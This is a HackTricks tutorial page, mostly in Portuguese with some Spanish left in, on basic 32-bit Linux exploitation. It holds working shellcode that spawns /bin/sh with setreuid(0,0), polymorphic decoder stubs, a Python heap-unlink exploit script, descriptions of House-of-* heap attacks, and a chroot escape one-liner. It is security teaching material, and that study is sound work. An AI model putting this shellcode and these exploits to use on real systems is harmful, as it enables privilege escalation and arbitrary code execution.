hacktricks/exploiting/linux-exploiting-basic-esp
2024-07-18 22:06:26 +00:00
..
rop-leaking-libc-address Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:11:06 +00:00
bypassing-canary-and-pie.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:11:06 +00:00
format-strings-template.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:11:06 +00:00
fusion.md Translated ['1911-pentesting-fox.md', '6881-udp-pentesting-bittorrent.md 2024-07-18 18:16:41 +00:00
README.md Translated ['binary-exploitation/basic-stack-binary-exploitation-methodo 2024-07-18 22:06:26 +00:00
ret2lib.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:11:06 +00:00
rop-syscall-execv.md Translated ['exploiting/linux-exploiting-basic-esp/README.md', 'exploiti 2024-02-05 03:11:06 +00:00

Linux Exploiting (Basic) (SPA)

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

2.SHELLCODE

Ver interrupções de kernel: cat /usr/include/i386-linux-gnu/asm/unistd_32.h | grep “__NR_”

setreuid(0,0); // __NR_setreuid 70
execve(“/bin/sh”, args[], NULL); // __NR_execve 11
exit(0); // __NR_exit 1

xor eax, eax ; limpamos eax
xor ebx, ebx ; ebx = 0 pois não há argumento que passar
mov al, 0x01 ; eax = 1 —> __NR_exit 1
int 0x80 ; Executar syscall

nasm -f elf assembly.asm —> Nos retorna um .o
ld assembly.o -o shellcodeout —> Nos dá um executável formado pelo código assembly e podemos obter os opcodes com objdump
objdump -d -Mintel ./shellcodeout —> Para ver que efetivamente é nossa shellcode e obter os OpCodes

Verificar se a shellcode funciona

char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”

void main(){
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

Para ver que as chamadas de sistema são realizadas corretamente, deve-se compilar o programa anterior e as chamadas de sistema devem aparecer em strace ./PROGRAMA_COMPILADO

Na hora de criar shellcodes, pode-se realizar um truque. A primeira instrução é um jump para um call. O call chama o código original e ainda coloca no stack o EIP. Depois da instrução call, colocamos a string que precisarmos, então com esse EIP podemos apontar para a string e além disso continuar executando o código.

EJ TRUQUE (/bin/sh):

jmp                 0x1f                                        ; Salto al último call
popl                %esi                                       ; Guardamos en ese la dirección al string
movl               %esi, 0x8(%esi)       ; Concatenar dos veces el string (en este caso /bin/sh)
xorl                 %eax, %eax             ; eax = NULL
movb  %eax, 0x7(%esi)     ; Ponemos un NULL al final del primer /bin/sh
movl               %eax, 0xc(%esi)      ; Ponemos un NULL al final del segundo /bin/sh
movl   $0xb, %eax               ; Syscall 11
movl               %esi, %ebx               ; arg1=“/bin/sh”
leal                 0x8(%esi), %ecx      ; arg[2] = {“/bin/sh”, “0”}
leal                 0xc(%esi), %edx      ; arg3 = NULL
int                    $0x80                         ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl                 %ebx, %ebx             ; ebx = NULL
movl   %ebx, %eax
inc                   %eax                          ; Syscall 1
int                    $0x80                         ; exit(0)
call                  -0x24                          ; Salto a la primera instrución
.string             \”/bin/sh\”                               ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>

EJ usando a Stack(/bin/sh):

section .text
global _start
_start:
xor                  eax, eax                     ;Limpieza
mov                al, 0x46                      ; Syscall 70
xor                  ebx, ebx                     ; arg1 = 0
xor                  ecx, ecx                     ; arg2 = 0
int                    0x80                           ; setreuid(0,0)
xor                  eax, eax                     ; eax = 0
push   eax                             ; “\0”
push               dword 0x68732f2f ; “//sh”
push               dword 0x6e69622f; “/bin”
mov                ebx, esp                     ; arg1 = “/bin//sh\0”
push               eax                             ; Null -> args[1]
push               ebx                             ; “/bin/sh\0” -> args[0]
mov                ecx, esp                     ; arg2 = args[]
mov                al, 0x0b                      ; Syscall 11
int                    0x80                           ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)

EJ FNSTENV:

fabs
fnstenv [esp-0x0c]
pop eax                     ; Guarda el EIP en el que se ejecutó fabs
…

Egg Huter:

Consiste em um pequeno código que percorre as páginas de memória associadas a um processo em busca da shellcode ali guardada (busca alguma assinatura colocada na shellcode). Útil nos casos em que se tem apenas um pequeno espaço para injetar código.

Shellcodes polimórficos

Consistem em shells criptografadas que têm um pequeno código que as descriptografa e salta para ele, usando o truque de Call-Pop este seria um exemplo cifrado cesar:

global _start
_start:
jmp short magic
init:
pop     esi
xor      ecx, ecx
mov    cl,0                              ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
sub     byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub     cl, 1
jnz       desc
jmp     short sc
magic:
call init
sc:
;Aquí va el shellcode

5.Métodos complementarios

Técnica de Murat

Em linux, todos os programas são mapeados começando em 0xbfffffff

Vendo como se constrói a pilha de um novo processo em linux, pode-se desenvolver um exploit de forma que o programa seja iniciado em um ambiente cuja única variável seja a shellcode. A endereço desta então pode ser calculada como: addr = 0xbfffffff - 4 - strlen(NOME_ejecutable_completo) - strlen(shellcode)

Dessa forma, obter-se-ia de forma simples a endereço onde está a variável de ambiente com a shellcode.

Isso pode ser feito graças à função execle que permite criar um ambiente que só tenha as variáveis de ambiente desejadas.

Format Strings to Buffer Overflows

A sprintf moves uma string formatada para uma variável. Portanto, você poderia abusar do formato de uma string para causar um buffer overflow na variável onde o conteúdo é copiado.
Por exemplo, o payload %.44xAAAA irá escrever 44B+"AAAA" na variável, o que pode causar um buffer overflow.

__atexit Structures

{% hint style="danger" %} Hoje em dia é muito estranho explorar isso. {% endhint %}

atexit() é uma função à qual outras funções são passadas como parâmetros. Essas funções serão executadas ao executar um exit() ou o retorno do main.
Se você puder modificar o endereço de qualquer uma dessas funções para apontar para uma shellcode, por exemplo, você ganhará controle do processo, mas isso atualmente é mais complicado.
Atualmente, os endereços das funções a serem executadas estão ocultos atrás de várias estruturas e, finalmente, o endereço para o qual apontam não são os endereços das funções, mas estão criptografados com XOR e deslocamentos com uma chave aleatória. Portanto, atualmente, esse vetor de ataque não é muito útil, pelo menos em x86 e x64_86.
A função de criptografia é PTR_MANGLE. Outras arquiteturas como m68k, mips32, mips64, aarch64, arm, hppa... não implementam a função de criptografia porque ela retorna o mesmo que recebeu como entrada. Portanto, essas arquiteturas seriam atacáveis por esse vetor.

setjmp() & longjmp()

{% hint style="danger" %} Hoje em dia é muito estranho explorar isso. {% endhint %}

Setjmp() permite salvar o contexto (os registradores)
longjmp() permite restaurar o contexto.
Os registradores salvos são: EBX, ESI, EDI, ESP, EIP, EBP
O que acontece é que EIP e ESP são passados pela PTR_MANGLE função, então a arquitetura vulnerável a esse ataque é a mesma que acima.
Eles são úteis para recuperação de erros ou interrupções.
No entanto, pelo que li, os outros registradores não estão protegidos, então se houver um call ebx, call esi ou call edi dentro da função chamada, o controle pode ser assumido. Ou você também poderia modificar EBP para modificar o ESP.

VTable e VPTR em C++

Cada classe tem uma Vtable que é um array de ponteiros para métodos.

Cada objeto de uma classe tem um VPtr que é um ponteiro para o array de sua classe. O VPtr é parte do cabeçalho de cada objeto, então se uma sobrescrita do VPtr for alcançada, ele poderia ser modificado para apontar para um método fictício, de forma que a execução de uma função vá para a shellcode.

Medidas preventivas e evasões

Reemplazo de Libsafe

É ativado com: LD_PRELOAD=/lib/libsafe.so.2
ou
“/lib/libsave.so.2” > /etc/ld.so.preload

Intercepta as chamadas a algumas funções inseguras por outras seguras. Não está padronizado. (apenas para x86, não para compilações com -fomit-frame-pointer, não compilações estáticas, nem todas as funções vulneráveis se tornam seguras e LD_PRELOAD não funciona em binários com suid).

ASCII Armored Address Space

Consiste em carregar as bibliotecas compartilhadas de 0x00000000 a 0x00ffffff para que sempre haja um byte 0x00. No entanto, isso realmente não impede quase nenhum ataque, e menos em little endian.

ret2plt

Consiste em realizar um ROP de forma que se chame a função strcpy@plt (da plt) e se aponte para a entrada da GOT e se copie o primeiro byte da função que se deseja chamar (system()). Em seguida, faz-se o mesmo apontando para GOT+1 e se copia o 2º byte de system()… No final, chama-se o endereço guardado na GOT que será system().

Jaulas com chroot()

debootstrap -arch=i386 hardy /home/user —> Instala um sistema básico sob um subdiretório específico

Um admin pode sair de uma dessas jaulas fazendo: mkdir foo; chroot foo; cd ..

Instrumentação de código

Valgrind —> Busca erros
Memcheck
RAD (Return Address Defender)
Insure++

8 Heap Overflows: Exploits básicos

Trozo asignado

prev_size |
size | —Cabeçalho
*mem | Dados

Trozo livre

prev_size |
size |
*fd | Ptr forward chunk
*bk | Ptr back chunk —Cabeçalho
*mem | Dados

Os trozos livres estão em uma lista duplamente encadeada (bin) e nunca podem haver dois trozos livres juntos (eles se juntam).

Em “size” há bits para indicar: Se o trozo anterior está em uso, se o trozo foi alocado por mmap() e se o trozo pertence à arena primária.

Se ao liberar um trozo algum dos contíguos estiver livre, eles se fundem através da macro unlink() e o novo trozo maior é passado para frontlink() para que insira o bin adequado.

unlink(){
BK = P->bk; —> O BK do novo chunk é o que tinha o que já estava livre antes
FD = P->fd; —> O FD do novo chunk é o que tinha o que já estava livre antes
FD->bk = BK; —> O BK do próximo chunk aponta para o novo chunk
BK->fd = FD; —> O FD do chunk anterior aponta para o novo chunk
}

Portanto, se conseguirmos modificar o P->bk com o endereço de uma shellcode e o P->fd com o endereço a uma entrada na GOT ou DTORS menos 12, consegue-se:

BK = P->bk = &shellcode
FD = P->fd = &__dtor_end__ - 12
FD->bk = BK -> *((&__dtor_end__ - 12) + 12) = &shellcode

E assim se executa ao sair do programa a shellcode.

Além disso, a 4ª sentença de unlink() escreve algo e a shellcode tem que estar reparada para isso:

BK->fd = FD -> *(&shellcode + 8) = (&__dtor_end__ - 12) —> Isso provoca a escrita de 4 bytes a partir do 8º byte da shellcode, por isso a primeira instrução da shellcode deve ser um jmp para pular isso e cair em uns nops que levem ao resto da shellcode.

Portanto, o exploit é criado:

No buffer1 colocamos a shellcode começando por um jmp para que caia nos nops ou no resto da shellcode.

Depois da shellcode colocamos preenchimento até chegar ao campo prev_size e size do próximo trozo. Nesses locais colocamos 0xfffffff0 (de forma que se sobrescreva o prev_size para que tenha o bit que diz que está livre) e “-4“(0xfffffffc) no size (para que quando verificar no 3º trozo se o 2º estava livre, na verdade vá ao prev_size modificado que dirá que está livre) -> Assim, quando free() investigar, irá ao size do 3º, mas na verdade irá ao 2º - 4 e pensará que o 2º trozo está livre. E então chamará unlink().

Ao chamar unlink() usará como P->fd os primeiros dados do 2º trozo, portanto, ali se colocará o endereço que se deseja sobrescrever - 12 (pois em FD->bk ele somará 12 ao endereço guardado em FD). E nesse endereço introduzirá o segundo endereço que encontrar no 2º trozo, que nos interessará que seja o endereço da shellcode (P->bk falso).

from struct import *

import os

shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno

shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

prev_size = pack("<I”, 0xfffffff0) #Interesa que o bit que indica que o anterior trozo está livre esteja a 1

fake_size = pack("<I”, 0xfffffffc) #-4, para que pense que o “size” do 3º trozo está 4bytes atrás (aponta para prev_size) pois é aí que olha se o 2º trozo está livre

addr_sc = pack("<I", 0x0804a008 + 8) #No payload no início vamos colocar 8bytes de preenchimento

got_free = pack("<I", 0x08048300 - 12) #Endereço de free() na plt-12 (será o endereço que se sobrescreverá para que se lance a shellcode na 2ª vez que se chamar free)

payload = "aaaabbbb" + shellcode + "b"*(512-len(shellcode)-8) # Como se disse, o payload começa com 8 bytes de preenchimento porque sim

payload += prev_size + fake_size + got_free + addr_sc #Se modifica o 2º trozo, o got_free aponta para onde vamos guardar a direção addr_sc + 12

os.system("./8.3.o " + payload)

unset() liberando em sentido inverso (wargame)

Estamos controlando 3 chunks consecutivos e eles são liberados em ordem inversa à reservada.

Nesse caso:

No chunk c coloca-se a shellcode

O chunk a usamos para sobrescrever o b de forma que o size tenha o bit PREV_INUSE desativado, de forma que pense que o chunk a está livre.

Além disso, sobrescrevemos no cabeçalho b o size para que valha -4.

Então, o programa pensará que “a” está livre e em um bin, portanto chamará unlink() para desenlaçá-lo. No entanto, como o cabeçalho PREV_SIZE vale -4, pensará que o trozo de “a” realmente começa em b+4. Ou seja, fará um unlink() a um trozo que começa em b+4, portanto em b+12 estará o ponteiro “fd” e em b+16 estará o ponteiro “bk”.

Dessa forma, se em bk colocarmos o endereço da shellcode e em fd colocarmos o endereço da função “puts()”-12, temos nosso payload.

Técnica de Frontlink

Chama-se frontlink quando se libera algo e nenhum de seus trozos contíguos está livre, não se chama unlink() mas sim diretamente frontlink().

Vulnerabilidade útil quando o malloc que se ataca nunca é liberado (free()).

Necessita:

Um buffer que possa ser desbordado com a função de entrada de dados

Um buffer contíguo a este que deve ser liberado e ao qual se modificará o campo fd de seu cabeçalho graças ao desbordamento do buffer anterior

Um buffer a liberar com um tamanho maior que 512, mas menor que o buffer anterior

Um buffer declarado antes do passo 3 que permita sobrescrever o prev_size deste

Dessa forma, conseguindo sobrescrever em dois mallocs de forma descontrolada e em um de forma controlada, mas que só se libera esse um, podemos fazer um exploit.

Vulnerabilidade double free()

Se se chama duas vezes a free() com o mesmo ponteiro, ficam dois bins apontando para o mesmo endereço.

No caso de querer voltar a usar um, ele seria atribuído sem problemas. No caso de querer usar outro, seria atribuído o mesmo espaço, portanto teríamos os ponteiros “fd” e “bk” falsificados com os dados que escreverá a reserva anterior.

After free()

Um ponteiro previamente liberado é usado novamente sem controle.

8 Heap Overflows: Exploits avançados

As técnicas de Unlink() e FrontLink() foram eliminadas ao modificar a função unlink().

The house of mind

Apenas uma chamada a free() é necessária para provocar a execução de código arbitrário. É interessante buscar um segundo trozo que pode ser desbordado por um anterior e liberado.

Uma chamada a free() provoca chamar public_fREe(mem), este faz:

mstate ar_ptr;

mchunkptr p;

p = mem2chunk(mes); —> Retorna um ponteiro ao endereço onde começa o trozo (mem-8)

ar_ptr = arena_for_chunk(p); —> chunk_non_main_arena(ptr)?heap_for_ptr(ptr)->ar_ptr:&main_arena [1]

_int_free(ar_ptr, mem);

}

Em [1] verifica o campo size o bit NON_MAIN_ARENA, o qual pode ser alterado para que a verificação retorne true e execute heap_for_ptr() que faz um and a “mem” deixando a 0 os 2.5 bytes menos importantes (no nosso caso de 0x0804a000 deixa 0x08000000) e acessa 0x08000000->ar_ptr (como se fosse um struct heap_info)

Dessa forma, se podemos controlar um trozo, por exemplo em 0x0804a000 e vai ser liberado um trozo em 0x081002a0, podemos chegar ao endereço 0x08100000 e escrever o que quisermos, por exemplo 0x0804a000. Quando esse segundo trozo for liberado, encontrará que heap_for_ptr(ptr)->ar_ptr retorna o que escrevemos em 0x08100000 (pois se aplica a 0x081002a0 o and que vimos antes e daí se saca o valor dos 4 primeiros bytes, o ar_ptr)

Dessa forma, chama-se _int_free(ar_ptr, mem), ou seja, _int_free(0x0804a000, 0x081002a0)
_int_free(mstate av, Void_t* mem){

bck = unsorted_chunks(av);
fwd = bck->fd;
p->bk = bck;
p->fd = fwd;
bck->fd = p;
fwd->bk = p;

..}

Como vimos antes, podemos controlar o valor de av, pois é o que escrevemos no trozo que vai ser liberado.

Tal como se define unsorted_chunks, sabemos que:
bck = &av->bins[2]-8;
fwd = bck->fd = *(av->bins[2]);
fwd->bk = *(av->bins[2] + 12) = p;

Portanto, se em av->bins[2] escrevemos o valor de __DTOR_END__-12, na última instrução se escreverá em __DTOR_END__ o endereço do segundo trozo.

Ou seja, no primeiro trozo temos que colocar no início muitas vezes o endereço de __DTOR_END__-12 porque é daí que av->bins[2] o tirará.

No endereço que cair o endereço do segundo trozo com os últimos 5 zeros, deve-se escrever o endereço a este primeiro trozo para que heap_for_ptr() pense que o ar_ptr está ao início do primeiro trozo e saque daí o av->bins[2].

No segundo trozo e graças ao primeiro, sobrescrevemos o prev_size com um jump 0x0c e o size com algo para ativar -> NON_MAIN_ARENA.

A seguir, no trozo 2 colocamos um monte de nops e finalmente a shellcode.

Dessa forma, chamará _int_free(TROZO1, TROZO2) e seguirá as instruções para escrever em __DTOR_END__ o endereço do prev_size do TROZO2, o qual saltará para a shellcode.

Para aplicar essa técnica, é necessário que se cumpram alguns requisitos mais que complicam um pouco mais o payload.

Essa técnica já não é aplicável, pois foi aplicado quase o mesmo patch que para unlink. Compara-se se o novo local para o qual se aponta também está apontando para ele.

Fastbin

É uma variante de The house of mind.

Nos interessa chegar a executar o seguinte código ao qual se chega passada a primeira verificação da função _int_free()

fb = &(av->fastbins[fastbin_index(size)] —> Sendo fastbin_index(sz) —> (sz >> 3) - 2

p->fd = *fb

*fb = p

Dessa forma, se se colocar em “fb” dá endereço de uma função na GOT, nesse endereço se colocará o endereço ao trozo sobrescrito. Para isso será necessário que a arena esteja perto dos endereços de dtors. Mais exatamente, que av->max_fast esteja no endereço que vamos sobrescrever.

Dado que com The House of Mind vimos que nós controlávamos a posição do av.

Então, se no campo size colocarmos um tamanho de 8 + NON_MAIN_ARENA + PREV_INUSE —> fastbin_index() nos devolverá fastbins[-1], que apontará para av->max_fast.

Nesse caso, av->max_fast será o endereço que se sobrescreverá (não a que aponte, mas essa posição será a que se sobrescreverá).

Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 8, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops).

Além disso, esse mesmo trozo falso deve ser menor que av->system_mem. av->system_mem está 1848 bytes mais além.

Por culpa dos nulos de _DTOR_END_ e das poucas direções na GOT, nenhum endereço dessas seções serve para ser sobrescrito, assim que vejamos como aplicar fastbin para atacar a pilha.

Outra forma de ataque é redirecionar o av para a pilha.

Se modificarmos o size para que dê 16 em vez de 8, então: fastbin_index() nos devolverá fastbins[0] e podemos fazer uso disso para sobrescrever a pilha.

Para isso, não deve haver nenhum canary nem valores estranhos na pilha, de fato, temos que nos encontrar nela: 4bytes nulos + EBP + RET.

Os 4 bytes nulos são necessários para que o av esteja a esse endereço e o primeiro elemento de um av é o mutex que deve valer 0.

O av->max_fast será o EBP e será um valor que nos servirá para saltar as restrições.

No av->fastbins[0] se sobrescreverá com o endereço de p e será o RET, assim se saltará para a shellcode.

Além disso, em av->system_mem (1484bytes acima da posição na pilha) haverá bastante lixo que nos permitirá saltar a verificação que se realiza.

Além disso, deve-se cumprir que o trozo contíguo ao liberado deve ser maior que 8 -> Dado que dissemos que o size do trozo liberado é 16, nesse trozo falso só temos que colocar um size maior que 8 (como além disso a shellcode irá no trozo liberado, haverá que colocar no início um jmp que caia em nops que vão depois do campo size do novo trozo falso).

The House of Spirit

Nesse caso, buscamos ter um ponteiro a um malloc que possa ser alterável pelo atacante (por exemplo, que o ponteiro esteja na pilha abaixo de um possível overflow a uma variável).

Assim, poderíamos fazer com que esse ponteiro apontasse para onde fosse. No entanto, nem todo local é válido, o tamanho do trozo falsificado deve ser menor que av->max_fast e mais especificamente igual ao tamanho solicitado em uma futura chamada a malloc()+8. Por isso, se sabemos que depois desse ponteiro vulnerável se chama malloc(40), o tamanho do trozo falso deve ser igual a 48.

Se por exemplo o programa perguntasse ao usuário por um número, poderíamos introduzir 48 e apontar o ponteiro de malloc modificável para os seguintes 4bytes (que poderiam pertencer ao EBP com sorte, assim o 48 fica por trás, como se fosse a cabeçalho size). Além disso, o endereço ptr-4+48 deve cumprir várias condições (sendo nesse caso ptr=EBP), ou seja, 8 < ptr-4+48 < av->system_mem.

Caso isso se cumpra, quando se chamar o próximo malloc que dissemos que era malloc(40), será atribuído como endereço o endereço do EBP. Caso o atacante também possa controlar o que se escreve nesse malloc, pode sobrescrever tanto o EBP quanto o EIP com o endereço que quiser.

Isso creio que é porque assim quando o liberar free() guardará que no endereço que aponta ao EBP da pilha há um trozo de tamanho perfeito para o novo malloc() que se quer reservar, assim que lhe atribui esse endereço.

The House of Force

É necessário:

  • Um overflow a um trozo que permita sobrescrever o wilderness
  • Uma chamada a malloc() com o tamanho definido pelo usuário
  • Uma chamada a malloc() cujos dados possam ser definidos pelo usuário

O primeiro que se faz é sobrescrever o size do trozo wilderness com um valor muito grande (0xffffffff), assim qualquer solicitação de memória suficientemente grande será tratada em _int_malloc() sem necessidade de expandir o heap.

O segundo é alterar o av->top para que aponte a uma zona de memória sob o controle do atacante, como a pilha. Em av->top se colocará &EIP - 8.

Temos que sobrescrever av->top para que aponte à zona de memória sob o controle do atacante:

victim = av->top;

remainder = chunck_at_offset(victim, nb);

av->top = remainder;

Victim coleta o valor do endereço do trozo wilderness atual (o atual av->top) e remainder é exatamente a soma desse endereço mais a quantidade de bytes solicitados por malloc(). Portanto, se &EIP-8 está em 0xbffff224 e av->top contém 0x080c2788, então a quantidade que temos que reservar no malloc controlado para que av->top fique apontando para $EIP-8 para o próximo malloc() será:

0xbffff224 - 0x080c2788 = 3086207644.

Assim, se guardará em av->top o valor alterado e o próximo malloc apontará ao EIP e poderá sobrescrevê-lo.

É importante saber que o size do novo trozo wilderness seja maior que a solicitação realizada pelo último malloc(). Ou seja, se o wilderness está apontando para &EIP-8, o size ficará justo no campo EBP da pilha.

The House of Lore

Corrupção SmallBin

Os trozos liberados são introduzidos no bin em função de seu tamanho. Mas antes de serem introduzidos, são guardados em unsorted bins. Um trozo é liberado, não se coloca imediatamente em seu bin, mas fica em unsorted bins. A seguir, se se reserva um novo trozo e o anterior liberado pode servir, se o devolve, mas se se reserva maior, o trozo liberado em unsorted bins se coloca em seu bin adequado.

Para alcançar o código vulnerável, a solicitação de memória deverá ser maior que av->max_fast (72 normalmente) e menor que MIN_LARGE_SIZE (512).

Se no bin há um trozo do tamanho adequado ao que se pede, se devolve esse depois de desenlaçá-lo:

bck = victim->bk; Aponta ao trozo anterior, é a única info que podemos alterar.

bin->bk = bck; O penúltimo trozo passa a ser o último, caso bck aponte para a pilha, ao próximo trozo reservado se lhe dará esse endereço.

bck->fd = bin; Se fecha a lista fazendo com que este aponte para bin.

É necessário:

Que se reservem dois malloc, de forma que ao primeiro se lhe possa fazer overflow depois que o segundo tenha sido liberado e introduzido em seu bin (ou seja, se tenha reservado um malloc superior ao segundo trozo antes de fazer o overflow).

Que o malloc reservado ao qual se lhe dá o endereço escolhido pelo atacante seja controlado pelo atacante.

O objetivo é o seguinte, se podemos fazer um overflow a um heap que tem por baixo um trozo já liberado e em seu bin, podemos alterar seu ponteiro bk. Se alteramos seu ponteiro bk e esse trozo chega a ser o primeiro da lista de bin e se reserva, a bin se enganará e se dirá que o último trozo da lista (o próximo a oferecer) está no endereço falso que colocamos (na pilha ou GOT, por exemplo). Portanto, se se voltar a reservar outro trozo e o atacante tem permissões nele, se lhe dará um trozo na posição desejada e poderá escrever nele.

Após liberar o trozo modificado, é necessário que se reserve um trozo maior que o liberado, assim o trozo modificado sairá de unsorted bins e se introduziria em seu bin.

Uma vez em seu bin, é o momento de modificar seu ponteiro bk através do overflow para que aponte para o endereço que queremos sobrescrever.

Assim, o bin deverá esperar turno até que se chame a malloc() suficientes vezes para que se volte a utilizar o bin modificado e enganar o bin fazendo-o acreditar que o próximo trozo está no endereço falso. E a seguir se dará o trozo que nos interessa.

Para que se execute a vulnerabilidade o mais rápido possível, o ideal seria: Reserva do trozo vulnerável, reserva do trozo que se modificará, se libera esse trozo, se reserva um trozo maior ao que se modificará, se modifica o trozo (vulnerabilidade), se reserva um trozo de igual tamanho ao vulnerado e se reserva um segundo trozo de igual tamanho e este será o que aponte para o endereço escolhido.

Para proteger esse ataque, usou-se a típica verificação de que o trozo “não” é falso: verifica-se se bck->fd está apontando para victim. Ou seja, no nosso caso, se o ponteiro fd* do trozo falso apontado na pilha está apontando para victim. Para ultrapassar essa proteção, o atacante deveria ser capaz de escrever de alguma forma (provavelmente pela pilha) no endereço adequado a direção de victim. Para que assim pareça um trozo verdadeiro.

Corrupção LargeBin

São necessários os mesmos requisitos que antes e mais alguns, além disso, os trozos reservados devem ser maiores que 512.

O ataque é como o anterior, ou seja, tem que modificar o ponteiro bk e se precisam todas essas chamadas a malloc(), mas além disso, há que modificar o size do trozo modificado de forma que esse size - nb seja < MINSIZE.

Por exemplo, fará que colocar em size 1552 para que 1552 - 1544 = 8 < MINSIZE (a subtração não pode ficar negativa porque se compara um unsigned).

Além disso, foi introduzido um patch para torná-lo ainda mais complicado.

Heap Spraying

Basicamente consiste em reservar toda a memória possível para heaps e preencher esses com um colchão de nops acabados por uma shellcode. Além disso, como colchão se utiliza 0x0c. Pois se tentará saltar para o endereço 0x0c0c0c0c, e assim se sobrescrever alguma direção a que se vá chamar com esse colchão, se saltará ali. Basicamente, a tática é reservar o máximo possível para ver se se sobrescreve algum ponteiro e saltar para 0x0c0c0c0c esperando que ali haja nops.

Heap Feng Shui

Consiste em, através de reservas e liberações, semear a memória de forma que fiquem trozos reservados entre trozos livres. O buffer a desbordar se situará em um dos ovos.

objdump -d executável —> Disas functions
objdump -d ./PROGRAMA | grep FUNCION —> Obter endereço da função
objdump -d -Mintel ./shellcodeout —> Para ver que efetivamente é nossa shellcode e tirar os OpCodes
objdump -t ./exec | grep varBss —> Tabela de símbolos, para tirar endereço de variáveis e funções
objdump -TR ./exec | grep exit(func lib) —> Para tirar endereço de funções de bibliotecas (GOT)
objdump -d ./exec | grep funcCode
objdump -s -j .dtors /exec
objdump -s -j .got ./exec
objdump -t --dynamic-relo ./exec | grep puts —> Tira o endereço de puts a sobrescrever na GOT
objdump -D ./exec —> Disas ALL até as entradas da plt
objdump -p -/exec
Info functions strncmp —> Info da função em gdb

Cursos interessantes

Referências

{% hint style="success" %} Aprenda e pratique AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}